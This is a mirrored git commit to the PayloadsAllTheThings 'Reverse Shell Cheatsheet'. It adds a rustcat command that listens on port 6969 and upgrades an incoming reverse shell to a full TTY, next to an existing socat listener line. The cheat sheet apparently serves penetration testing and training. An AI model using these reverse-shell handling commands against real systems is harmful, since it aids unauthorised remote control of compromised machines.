mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
Update Reverse Shell Cheatsheet.md
Added in automatic shell upgrade via rustcat.
This commit is contained in:
parent
f9a2880ad5
commit
cf9b9bf70c
@ -550,6 +550,15 @@ or use `socat` binary to get a fully tty reverse shell
|
|||||||
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
||||||
```
|
```
|
||||||
|
|
||||||
|
Alternatively, `rustcat` binary can automatically inject the TTY shell command.
|
||||||
|
|
||||||
|
The shell will be automatically upgraded and the TTY size will be provided for manual adjustment.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
stty raw -echo; stty size && rcat l -ie "/usr/bin/script -qc /bin/bash /dev/null" 6969
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
Spawn a TTY shell from an interpreter
|
Spawn a TTY shell from an interpreter
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
|
Loading…
Reference in New Issue
Block a user